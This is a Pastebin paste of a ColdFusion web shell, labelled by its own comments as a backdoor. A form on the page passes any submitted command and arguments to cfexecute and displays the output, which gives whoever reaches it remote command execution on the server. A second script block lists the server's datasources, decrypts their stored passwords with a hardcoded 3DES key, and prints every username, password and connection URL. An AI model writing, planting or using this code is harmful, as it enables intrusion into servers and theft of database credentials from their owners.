Advertisement
Guest User

Untitled

a guest
Aug 1st, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1. <html>
  2. <body>
  3.  
  4. <!-- orig author: kGrutzmacher -->
  5. <!-- additshonz: lawKnee -->
  6. <b>Notes:</b><br>
  7. <ul>
  8. <li>For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is<br>
  9. <li>For Windows options are the command you want to run "dir" "type" etc
  10. </ul>
  11. <p>
  12.  
  13. <cfoutput>
  14. <table>
  15. <form method="POST" action="">
  16. <tr><td>Command:</td><td><input type=text name="cmd" size=50
  17. <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
  18. <tr><td>Options:</td><td> <input type=text name="opts" size=50
  19. <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
  20. <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
  21. <cfif isdefined("form.timeout")>value="#form.timeout#"
  22. <cfelse>value="5"</cfif>></td></tr>
  23. </table>
  24. <input type=submit value="Exec" >
  25. </form>
  26.  
  27. <cfif isdefined("form.cmd")>
  28. <cfsavecontent variable="myVar">
  29. <cfexecute name = "#Form.cmd#"
  30. arguments = "#Form.opts#"
  31. timeout = "#Form.timeout#">
  32. </cfexecute>
  33. </cfsavecontent>
  34. <pre>
  35. #HTMLCodeFormat(myVar)#
  36. </pre>
  37. </cfif>
  38.  
  39. <cfscript>
  40. //The following code borrowed from hernanOchoa @hexale (thx)
  41. //added better formatting on output and connection string [lb]
  42. // Create Data Source Object
  43. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  44. getDatasourceService().getDatasources();
  45. writeoutput("<br><br><b>Datasource Credentials:</b><br>");
  46. writeoutput("<table>");
  47. // Loop Through DataSources
  48. for(i in dataSourceObb) {
  49. if(len(dataSourceObb[i]["password"])){
  50. // Get url
  51. theurl=(dataSourceObb[i]["url"]);
  52. // Get username
  53. username=(dataSourceObb[i]["username"]);
  54. // Get and decrypt password
  55. decryptPassword=Decrypt(dataSourceObb[i]["password"],
  56. generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
  57. "Base64");
  58.  
  59. // Output datasource usernames, passwords, and urls
  60. writeoutput("" &
  61. "<tr><td>DataSource: " & i & "</td>" &
  62. "<td>Username: " & username & "</td>" &
  63. "<td>Password: " & decryptPassword &
  64. "<td>URL: " & theurl & "</td></tr>");
  65. }
  66. }
  67. writeoutput("</table><br>");
  68. </cfscript>
  69. </cfoutput>
  70. </body>
  71. </html>
  72.  
  73. <!-- orig from mDaw bdoor -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement